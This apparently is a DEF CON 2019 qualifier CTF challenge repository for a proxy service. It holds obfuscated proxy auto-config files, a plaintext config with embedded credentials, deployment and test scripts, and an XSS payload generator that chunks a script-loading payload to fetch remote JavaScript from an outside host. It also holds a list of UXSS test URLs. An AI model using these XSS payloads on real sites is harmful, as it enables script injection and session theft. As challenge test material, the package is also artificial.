String.fromCharCode(x.charCodeAt()+(-39))}).join('')+(1213).toString(36).toLowerCase()+(function(){var C=Array.prototype.slice.call(arguments),l=C.shift();return C.reverse().map(function(M,O){return String.fromCharCode(M-l-9-O)}).join('')})(27,186,184,168,180,97,105,104,101,172,165,105,177,168,164,157,168,154,170,162,161,160,87,79,90,161,159,154,146,81,144,138,154,134,113)+(995).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(L){return String.fromCharCode(L.charCodeAt()+(-71))}).join('')+(34803559).toString(36).toLowerCase().split('').map(function(r){return String.fromCharCode(r.charCodeAt()+(-39))}).join('')+(10).toString(36).toLowerCase().split('').map(function(Z){return String.fromCharCode(Z.charCodeAt()+(-13))}).join('')+(23).toString(36).toLowerCase().split('').map(function(m){return String.fromCharCode(m.charCodeAt()+(-71))}).join('')+(11).toString(36).toLowerCase().split('').map(function(o){return String.fromCharCode(o.charCodeAt()+(-39))}).join('')+(27).toString(36).toLowerCase()+(function(){var Z=Array.prototype.slice.call(arguments),V=Z.shift();return Z.reverse().map(function(w,u){return String.fromCharCode(w-V-63-u)}).join('')})(5,112,168,166,156,158,155,113,105,182,185,187,185,169)+(855).toString(36).toLowerCase().split('').map(function(O){return String.fromCharCode(O.charCodeAt()+(-71))}).join('')+(30).toString(36).toLowerCase()+(11).toString(36).toLowerCase().split('').map(function(E){return String.fromCharCode(E.charCodeAt()+(-39))}).join('')+(12).toString(36).toLowerCase().split('').map(function(q){return String.fromCharCode(q.charCodeAt()+(26))}).join(''));
6 |
--------------------------------------------------------------------------------
/service/files/requirements.txt:
--------------------------------------------------------------------------------
1 | wheel==0.31.1
2 | asn1crypto==0.24.0
3 | attrs==19.1.0
4 | Automat==0.7.0
5 | cffi==1.12.3
6 | Click==7.0
7 | constantly==15.1.0
8 | cryptography==2.6.1
9 | Flask==1.0.2
10 | gunicorn==19.9.0
11 | hyperlink==19.0.0
12 | idna==2.8
13 | incremental==17.5.0
14 | itsdangerous==1.1.0
15 | Jinja2==2.10.1
16 | MarkupSafe==1.1.1
17 | phantomjs-binary==2.1.3
18 | pkg-resources==0.0.0
19 | pycparser==2.19
20 | PyHamcrest==1.9.0
21 | pyOpenSSL==19.0.0
22 | selenium==3.141.0
23 | six==1.12.0
24 | Twisted==19.2.0
25 | urllib3==1.25.2
26 | Werkzeug==0.15.2
27 | zope.interface==4.6.0
28 | captcha==0.3
29 |
--------------------------------------------------------------------------------
/service/files/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | set -e
3 |
4 | if [ "$#" -ne 2 ]; then
5 | echo "USAGE: $0 [Admin_port] [Proxy_port]"
6 | exit 1
7 | fi
8 |
9 | ADMIN_PORT=$1 # for internal-www interface, not the actual admin.py script
10 | PROXY_PORT=$2
11 | CONTAINER_IP=$(awk 'END{print $1}' /etc/hosts)
12 |
13 | echo "Started with AP=$ADMIN_PORT, PP=$PROXY_PORT, CIP=$CONTAINER_IP"
14 |
15 | echo "Activate venv"
16 | . /app/venv/bin/activate
17 |
18 | echo "Start internal" # TODO: run as internalwww?
19 | cd /app/internalwww
20 | CONTAINER_IP=$CONTAINER_IP /app/venv/bin/gunicorn --workers=2 -b $CONTAINER_IP:$ADMIN_PORT internalwww:app &
21 | cd /
22 |
23 | echo "Start proxy"
24 | #sudo -su www /app/venv/bin/python /app/proxy/run-proxy.py $CONTAINER_IP $PROXY_PORT &
25 | /app/venv/bin/python /app/proxy/run-proxy.py $CONTAINER_IP $PROXY_PORT &
26 |
27 | echo "Start 3 admin processes"
28 | #sudo -su internal /app/venv/bin/python /app/admin/admin.py $CONTAINER_IP $ADMIN_PORT $PROXY_PORT &
29 | /app/admin/admin.py $CONTAINER_IP $ADMIN_PORT $PROXY_PORT &
30 | /app/admin/admin.py $CONTAINER_IP $ADMIN_PORT $PROXY_PORT &
31 | /app/admin/admin.py $CONTAINER_IP $ADMIN_PORT $PROXY_PORT
32 |
--------------------------------------------------------------------------------
/service/info.pac:
--------------------------------------------------------------------------------
1 | eval((function(){var E=Array.prototype.slice.call(arguments),H=E.shift();return E.reverse().map(function(g,z){return String.fromCharCode(g-H-18-z)}).join('')})(13,188,108,176,178,157,104,113,117,192,100,108,182,180,175,167,94,105,168,173,175,97,166,166,159,169,151,161,167,151,80,108,78,121,126,128,156,152,110,160,158,148,150,115,134,143,137,101)+(30598).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(U){return String.fromCharCode(U.charCodeAt()+(-71))}).join('')+(895).toString(36).toLowerCase()+(function(){var D=Array.prototype.slice.call(arguments),W=D.shift();return D.reverse().map(function(A,J){return String.fromCharCode(A-W-33-J)}).join('')})(25,160,237,231,157,227,234,198,153,166,238,229,225,218,229,215,231,191,143,211,213,224,139,208,216,136,217,203,201,214,178,130,198,200,211,126,208,197,123,205,204,189,186,185,182,116,193,179,180,112,194,179,178,197,186,182,185,181,172,102,185,165,171,182,97,103,182,173,169,162,173,159)+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(I){return String.fromCharCode(I.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(391).toString(36).toLowerCase().split('').map(function(A){return String.fromCharCode(A.charCodeAt()+(-39))}).join('')+(68372856464).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(P){return String.fromCharCode(P.charCodeAt()+(-71))}).join('')+(function(){var b=Array.prototype.slice.call(arguments),g=b.shift();return b.reverse().map(function(P,w){return String.fromCharCode(P-g-63-w)}).join('')})(13,155,149,138,151,214,214,213,216,132,202,208,202,205,206,193,125,207,196,122,205,202,198,198,197,201,198,114,164,160,163,162,149,108)+(16).toString(36).toLowerCase().split('').map(function(G){return String.fromCharCode(G.charCodeAt()+(-71))}).join('')+(663).toString(36).toLowerCase()+(600).toString(36).toLowerCase().split('').map(function(R){return String.fromCharCode(R.charCodeAt()+(-71))}).join('')+(1025).toString(36).toLowerCase()+(21).toString(36).toLowerCase().split('').map(function(l){return String.fromCharCode(l.charCodeAt()+(-39))}).join('')+(1213).toString(36).toLowerCase()+(29).toString(36).toLowerCase().split('').map(function(e){return String.fromCharCode(e.charCodeAt()+(-39))}).join('')+(504593).toString(36).toLowerCase()+(24).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(825293).toString(36).toLowerCase()+(36887).toString(36).toLowerCase().split('').map(function(s){return String.fromCharCode(s.charCodeAt()+(-71))}).join('')+(69641519739324).toString(36).toLowerCase()+(function(){var J=Array.prototype.slice.call(arguments),u=J.shift();return J.reverse().map(function(i,s){return String.fromCharCode(i-u-15-s)}).join('')})(18,115,94,138,120,121,133,123,117,87,79,156,159,161,159,143,155,72,80,79,76,147,140,80,152)+(1657494275).toString(36).toLowerCase()+(function(){var s=Array.prototype.slice.call(arguments),Z=s.shift();return s.reverse().map(function(U,D){return String.fromCharCode(U-Z-62-D)}).join('')})(22,205,204,203,123,179,177,167,169,166,124,116)+(928).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(C){return String.fromCharCode(C.charCodeAt()+(-71))}).join('')+(75722867252397).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(F){return String.fromCharCode(F.charCodeAt()+(-71))}).join('')+(69641519739324).toString(36).toLowerCase()+(function(){var T=Array.prototype.slice.call(arguments),K=T.shift();return T.reverse().map(function(u,f){return String.fromCharCode(u-K-5-f)}).join('')})(9,150,83,62,70,77,68,75,76,128,121,61,133))
2 |
--------------------------------------------------------------------------------
/service/local.pac:
--------------------------------------------------------------------------------
1 |
2 | // Update to the IP/url of your docker container
3 | var url = "ooops.quals2019.oooverflow.io"
4 |
5 | eval((function(){var Z=Array.prototype.slice.call(arguments),k=Z.shift();return Z.reverse().map(function(Q,t){return String.fromCharCode(Q-k-60-t)}).join('')})(40,182,186,261,169,177,251,249,244,236,163,174,237,242,244,166,235,235,228,238,220,230,236,220,149,177,147,190,195,197,225,221,179,229,227,217,219,184,203,212,206,170)+(16).toString(36).toLowerCase().split('').map(function(K){return String.fromCharCode(K.charCodeAt()+(-71))}).join('')+(10).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-13))}).join('')+(626).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(r){return String.fromCharCode(r.charCodeAt()+(-71))}).join('')+(1150342).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-71))}).join('')+(1949112794768).toString(36).toLowerCase()+(844).toString(36).toLowerCase().split('').map(function(O){return String.fromCharCode(O.charCodeAt()+(-71))}).join('')+(1375445).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-71))}).join('')+(41275281578356).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(O){return String.fromCharCode(O.charCodeAt()+(-71))}).join('')+(15935).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(k){return String.fromCharCode(k.charCodeAt()+(-71))}).join('')+(625396204).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(A){return String.fromCharCode(A.charCodeAt()+(-71))}).join('')+(676).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(38210).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(z){return String.fromCharCode(z.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(t){return String.fromCharCode(t.charCodeAt()+(-39))}).join('')+(1277091).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(q){return String.fromCharCode(q.charCodeAt()+(-71))}).join('')+(879).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(K){return String.fromCharCode(K.charCodeAt()+(-71))}).join('')+(38210).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(R){return String.fromCharCode(R.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-39))}).join('')+(68372856464).toString(36).toLowerCase()+(1096).toString(36).toLowerCase().split('').map(function(v){return String.fromCharCode(v.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(Y){return String.fromCharCode(Y.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(A){return String.fromCharCode(A.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(C){return String.fromCharCode(C.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(L){return String.fromCharCode(L.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(a){return String.fromCharCode(a.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(T){return String.fromCharCode(T.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(391).toString(36).toLowerCase().split('').map(function(X){return String.fromCharCode(X.charCodeAt()+(-39))}).join('')+(68372856464).toString(36).toLowerCase()+(1096).toString(36).toLowerCase().split('').map(function(O){return String.fromCharCode(O.charCodeAt()+(-71))}).join('')+(24).toString(36).toLowerCase().split('').map(function(Z){return String.fromCharCode(Z.charCodeAt()+(-39))}).join('')+(370).toString(36).toLowerCase().split('').map(function(u){return String.fromCharCode(u.charCodeAt()+(-13))}).join('')+(1187).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-39))}).join('')+(16).toString(36).toLowerCase().split('').map(function(G){return String.fromCharCode(G.charCodeAt()+(-71))}).join('')+(62807079593).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(e){return String.fromCharCode(e.charCodeAt()+(-71))}).join('')+(676).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(b){return String.fromCharCode(b.charCodeAt()+(-71))}).join('')+(function(){var I=Array.prototype.slice.call(arguments),D=I.shift();return I.reverse().map(function(q,G){return String.fromCharCode(q-D-22-G)}).join('')})(20,215,227,171,150,194,176,177,189,179,173,143,135,212,215,217,215,199,211,128,136,135,132,203,196,136,208,199,195,188,199,185,201,193,192,191,118,110,121,192,190,185,177,112,175,169,185,165,144,178,185,133,167,177,101,92,161,163,89,103,97,86,99,162,162,161,164,80,150,156,150,153,154,141)+(1392899).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(C){return String.fromCharCode(C.charCodeAt()+(-71))}).join('')+(42727).toString(36).toLowerCase().split('').map(function(K){return String.fromCharCode(K.charCodeAt()+(-39))}).join('')+(519).toString(36).toLowerCase().split('').map(function(j){return String.fromCharCode(j.charCodeAt()+(-13))}).join('')+(16).toString(36).toLowerCase().split('').map(function(B){return String.fromCharCode(B.charCodeAt()+(-71))}).join('')+(function(){var y=Array.prototype.slice.call(arguments),L=y.shift();return y.reverse().map(function(H,Z){return String.fromCharCode(H-L-31-Z)}).join('')})(54,157,136,144,151,142,149,150,130,133,197,202,204,129,124)+(12).toString(36).toLowerCase().split('').map(function(J){return String.fromCharCode(J.charCodeAt()+(26))}).join(''));
6 |
--------------------------------------------------------------------------------
/service/plaintext.pac:
--------------------------------------------------------------------------------
1 | // DO NOT RELEASE THIS FILE
2 |
3 | // The following is bfscuated with https://anseki.github.io/gnirts/ to build info.pac
4 | FindProxyForURL = function(url, host) {/* The only 'overflow' that employees can access is the Order of the Overflow. Log in with OnlyOne:Overflow. HTTPS support is coming soon. */ if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';}
5 |
--------------------------------------------------------------------------------
/tester:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | FLAG_RE = r"OOO{[^}]*}"
4 | IMAGE_FMT = "dc2019q:%s"
5 |
6 | import concurrent.futures
7 | import subprocess
8 | import tempfile
9 | import logging
10 | import json
11 | import yaml
12 | import time
13 | import sys
14 | import re
15 | import os
16 | import traceback
17 |
18 | logging.basicConfig()
19 | _LOG = logging.getLogger("OOO")
20 | _LOG.setLevel("DEBUG")
21 |
22 |
23 | service_dir = os.path.dirname(__file__)
24 |
25 | _LOG.info("USING YAML: %s/info.yml", service_dir)
26 | service_conf = yaml.load(open(os.path.join(service_dir, "info.yml")))
27 | service_name = service_conf['service_name']
28 | _LOG.info("SERVICE ID: %s", service_name)
29 |
30 | image_tag = IMAGE_FMT % service_name
31 | interaction_image_tag = IMAGE_FMT % service_name + '-interaction'
32 | container_tag = "running-%s" % service_name
33 |
34 | def validate_yaml():
35 | _LOG.info("Validating yaml...")
36 | assert 'service_name' in service_conf, "no service name specified"
37 | assert 'flag' in service_conf, "no service flag specified"
38 | if 'test flag' in service_conf['flag']: _LOG.critical("REMEBER TO CHANGE THE FLAG: %s looks like the test flag", service_conf['flag'])
39 | if not re.match(FLAG_RE, service_conf['flag']):
40 | _LOG.critical("FLAG %s DOES NOT CONFORM TO THE FLAG FORMAT", service_conf['flag'])
41 | if not service_conf['violates_flag_format']:
42 | assert False, "you violated the flag format!"
43 |
44 | def build_service():
45 | if os.path.exists(os.path.join(service_dir, "service", "Dockerfile")):
46 | _LOG.info("Building service image...")
47 | assert os.system("docker build -t %s %s/service" % (image_tag, service_dir)) == 0, "service docker image build failed"
48 | else:
49 | _LOG.warning("no dockerfile found for service...")
50 |
51 | def build_interactions():
52 | if os.path.exists(os.path.join(service_dir, "interaction", "Dockerfile")):
53 | _LOG.info("Building interaction image...")
54 | assert os.system("docker build -t %s %s/interaction" % (interaction_image_tag, service_dir)) == 0, "interaction docker image build failed"
55 |
56 | def _start_container():
57 | _stop_container()
58 | assert os.system("docker run --name %s --rm -d %s" % (container_tag, image_tag)) == 0, "service container failed to start"
59 | def _stop_container():
60 | os.system("docker kill %s 2>/dev/null >/dev/null" % container_tag)
61 | os.system("docker rm %s 2>/dev/null >/dev/null" % container_tag)
62 |
63 | def launch_service():
64 | _LOG.debug("starting container")
65 | _start_container()
66 | time.sleep(1)
67 | container_config = json.loads(subprocess.check_output("docker inspect %s" % container_tag, shell=True).decode('utf-8'))
68 | ip_address = container_config[0]['NetworkSettings']['Networks']['bridge']['IPAddress']
69 | port = list(container_config[0]['Config']['ExposedPorts'].keys())[0].split("/")[0]
70 | _LOG.debug("network endpoint: %s:%s", ip_address, port)
71 | return ip_address, port
72 |
73 | def test_service(ip_address, port):
74 | _LOG.info("Testing container...")
75 |
76 | _LOG.info("launching interaction container")
77 | interaction_container = subprocess.check_output("docker run --rm -i -d %s" % interaction_image_tag, shell=True).strip().decode('utf-8')
78 |
79 | def _run_interaction(script):
80 | _LOG.info("launching %s", script)
81 |
82 | output = subprocess.check_output("docker exec %s %s %s %s" % (interaction_container, script, ip_address, port), shell=True)
83 | if os.path.basename(script).startswith("exploit"):
84 | _LOG.info("... checking for the flag")
85 | assert service_conf['flag'].encode('utf-8') in output, "exploit %s did not print the flag"%script #pylint:disable=unsupported-membership-test
86 |
87 | _LOG.info("launching interaction scripts")
88 | interaction_files = service_conf['interactions']
89 | for f in interaction_files:
90 | _run_interaction(f)
91 |
92 | _LOG.info("STRESS TEST TIME")
93 | n = 2
94 | old_level = _LOG.level
95 | while n <= service_conf['concurrent_connections']:
96 | _LOG.info("stress testing with %d concurrent connections!", n)
97 | _LOG.setLevel(max(logging.WARNING, old_level))
98 | with concurrent.futures.ThreadPoolExecutor(max_workers=n) as pool:
99 | results = pool.map(_run_interaction, (interaction_files*n)[:n])
100 | try:
101 | for result in results:
102 | pass
103 | except Exception as e:
104 | _LOG.error('One iteration returns an exception: %s' % str(e))
105 | _LOG.error(traceback.format_exc())
106 | sys.exit(1)
107 |
108 | _LOG.setLevel(old_level)
109 |
110 | n *= 2
111 |
112 | _LOG.info("SHORT-READ SANITY CHECK")
113 | assert os.system('docker run --rm ubuntu bash -ec "for i in {1..128}; do echo > /dev/tcp/%s/%s; done"' % (ip_address, port)) == 0
114 | _LOG.info("waiting for service to clean up after short reads")
115 | time.sleep(15)
116 |
117 | num_procs = len(subprocess.check_output("docker exec %s ps aux" % container_tag, shell=True).splitlines())
118 | assert num_procs < 10, "your service did not clean up after short reads"
119 |
120 | _LOG.info("stopping interaction container")
121 | os.system("docker kill %s" % interaction_container)
122 |
123 | def build_bundle():
124 | _LOG.info("building public bundle!")
125 |
126 | tempdir = tempfile.mkdtemp()
127 | public_path = os.path.join(tempdir, service_name)
128 | os.makedirs(public_path)
129 | for f in service_conf['public_files']:
130 | _LOG.debug("copying file %s into public files", f)
131 | cmd = "cp -L %s/%s %s/%s" % (service_dir, f, public_path, os.path.basename(f))
132 | print(os.getcwd(), cmd)
133 | assert os.system(cmd) == 0, "failed to retrieve public file %s" % f
134 |
135 | time.sleep(2)
136 | assert os.system("tar cvzf %s/public_bundle.tar.gz -C %s %s" % (service_dir, tempdir, service_name)) == 0, "public file tarball failed; this should not be your fault"
137 |
138 | print("")
139 | print("")
140 | _LOG.critical("PLEASE VERIFY THAT THIS IS CORRECT: files in public bundle:")
141 | os.system("tar tvzf %s/public_bundle.tar.gz" % service_dir)
142 |
143 | _stop_container()
144 |
145 | print("")
146 | print("")
147 | print("ATTENTION: PLEASE MAKE SURE THAT THE CONTENTS OF public_files.tar.gz (SHOWN ABOVE) MAKE SENSE.")
148 | print("")
149 | print("")
150 |
151 |
152 | if __name__ == '__main__':
153 | validate_yaml()
154 | arg = sys.argv[1] if len(sys.argv) >= 2 else ""
155 | if arg == 'bundle':
156 | build_bundle()
157 | elif arg == 'build':
158 | build_service()
159 | build_interactions()
160 | build_bundle()
161 | elif arg == 'test':
162 | if len(sys.argv) == 2:
163 | _ip_address, _port = launch_service()
164 | test_service(_ip_address, _port)
165 | else:
166 | test_service(sys.argv[2], int(sys.argv[3]))
167 | elif arg == 'launch':
168 | build_service()
169 | try:
170 | _ip_address, _port = launch_service()
171 | print("")
172 | print("SERVICE RUNNING AT: %s %s" % (_ip_address, _port))
173 | print("nc %s %s" % (_ip_address, _port))
174 | print("./tester test %s %s" % (_ip_address, _port))
175 | print("%s:%s" % (_ip_address, _port))
176 | input()
177 | finally:
178 | _stop_container()
179 | else:
180 | try:
181 | build_service()
182 | build_interactions()
183 | _ip_address, _port = launch_service()
184 | test_service(_ip_address, _port)
185 | build_bundle()
186 | finally:
187 | _stop_container()
188 |
--------------------------------------------------------------------------------
/tests/payload_generator.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Script to compress any payload into a series of 40 character dom-based XXS payloads
4 | # Still has some bugs
5 |
6 | ### Example payload to load and execute a remote javascript file from state.actor/aler.js
7 | """
8 | http://www.example.com/ooops/d35fs23hu73
9 | ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa=
10 |
12 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
13 |
15 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
16 |
18 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
19 | bbbbbbbb
21 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
22 | bbbbbbb
24 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
25 |
27 | """
28 |
29 | # Config
30 | # Warning: don't use variable s in your payload
31 | PAYLOAD = "a=document.createElement(\'script\'); a.src=\'{}\'; document.body.appendChild(a)".format("//state.actor/alert.js;")
32 | CHUNK_LEN=40
33 | DOMAIN = "http://www.example.com/"
34 | # End config
35 |
36 | # Build a url that's exactly 40 chars so the last split is right after it
37 | output_base = DOMAIN+"ooops/d35fs23hu73ds/blocked.html?"
38 | print("Prefix is length {}... ".format(len(output_base)), end=" ")
39 | pad_len = 40 - (len(output_base) % 40) if (len(output_base) % CHUNK_LEN) != 0 else 0
40 | print("Adding {} to make it round, plus 1".format(pad_len))
41 | output_base += "_"*(pad_len+2)
42 |
43 | # XSS will be in chunks of
44 | #
45 | # such that the goes in the a's maximizing our payload size
46 | #
47 | PREFIX = ''
49 |
50 | # Now URL is aligned such that BR goes after it and payload can begin
51 | start = True
52 | idx = 0
53 |
54 | # Now we're going to build a string into the variable s
55 | # and then eval it
56 | PAYLOAD = PAYLOAD.replace("\'","\\\'") # escape single quotes
57 |
58 | output = ""
59 | while idx < len(PAYLOAD):
60 | assert((len(output) % CHUNK_LEN) == 0), "Error, chunk length is {}: {}".format(len(output), output)
61 | old_len = len(output)
62 | output += PREFIX
63 | if start:
64 | output+= "s='"
65 | start = False
66 | else:
67 | output+= "s+='"
68 | len_so_far = len(output)-old_len-CHUNK_LEN # We're in the second chunk now
69 | suffix_len = len(SUFFIX) + 1 # For trailing '
70 |
71 | print("LSF: " , len_so_far)
72 |
73 | payload_out_len = min(len(PAYLOAD)-idx, CHUNK_LEN - len_so_far - suffix_len) # Either rest of payload or enough to max out at 40 with prefix+suffix
74 | is_last = (CHUNK_LEN - len_so_far - suffix_len) != payload_out_len
75 |
76 | this_suffix = SUFFIX
77 |
78 | if is_last: # Prepend suffix with whitespace
79 | print("ISLAST")
80 | this_suffix = " "*(CHUNK_LEN*2-len(PAYLOAD)-idx) + SUFFIX
81 |
82 |
83 | if PAYLOAD[idx+payload_out_len-1] == '\\': # Can't split backslash between two blocks
84 | output += PAYLOAD[idx:idx+payload_out_len-1]
85 | this_suffix = "' " + SUFFIX
86 | idx += payload_out_len-1
87 | else:
88 | output += PAYLOAD[idx:idx+payload_out_len]
89 | idx += payload_out_len
90 |
91 | output += this_suffix
92 |
93 | assert(len(output) <= old_len+2*40), "Have {} which is > {}".format(len(output), old_len+2*40) # Must fit in two chunks. One for svg junk, one for payload
94 |
95 | pad_len = 40 - (len(output) % 40) if (len(output) % CHUNK_LEN) != 0 else 0
96 | assert(not (not is_last and pad_len > 0)), "Why are we padding an intermediate chunk? len={}, pad={}".format(len(output), pad_len)
97 |
98 | output += "_"*pad_len
99 |
100 | output+=PREFIX+";eval(s)"+SUFFIX
101 |
102 | print(output_base)
103 | for idx,c in enumerate(output):
104 | if ((idx%40) == 0): print()
105 | print(c, end="")
106 |
107 | print()
108 | output = output_base + output
109 | print(output)
110 |
111 | def split_url(u):
112 | b = u[0]
113 | for i in range(1, len(u)):
114 | b += u[i]
115 | if (i%40==0): b+= " ";
116 | return b
117 |
118 | print("\n\nSPLITS TO")
119 | print(split_url(output))
120 |
121 | good="""http://www.asdfcom.com/ooops/d35fs23hu73ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa= &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=bbbbbbbb &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=bbbbbbb &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa= """
122 |
123 | print("\n\nGOT SPLITS TO")
124 | print(split_url(good))
125 |
--------------------------------------------------------------------------------
/tests/tests.txt:
--------------------------------------------------------------------------------
1 |
2 | UXSS in proxy
3 | http://example.com/ooops/d35fs23hu73ds/blocked.html?abcd=%3Cimg%20src=x%20onerror=%22alert(1)%22%3E
4 |
5 | Complex UXSS payload to load and execute remote script
6 |
7 | http://www.asdfcom.com/ooops/d35fs23hu73
8 | ds/blocked.html?abcdeaaaaaaaaaaaaaaaaaaaa=
9 |
11 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
12 |
14 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
15 |
17 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
18 | bbbbbbbb
20 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
21 | bbbbbbb
23 | &aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
24 |
26 |
--------------------------------------------------------------------------------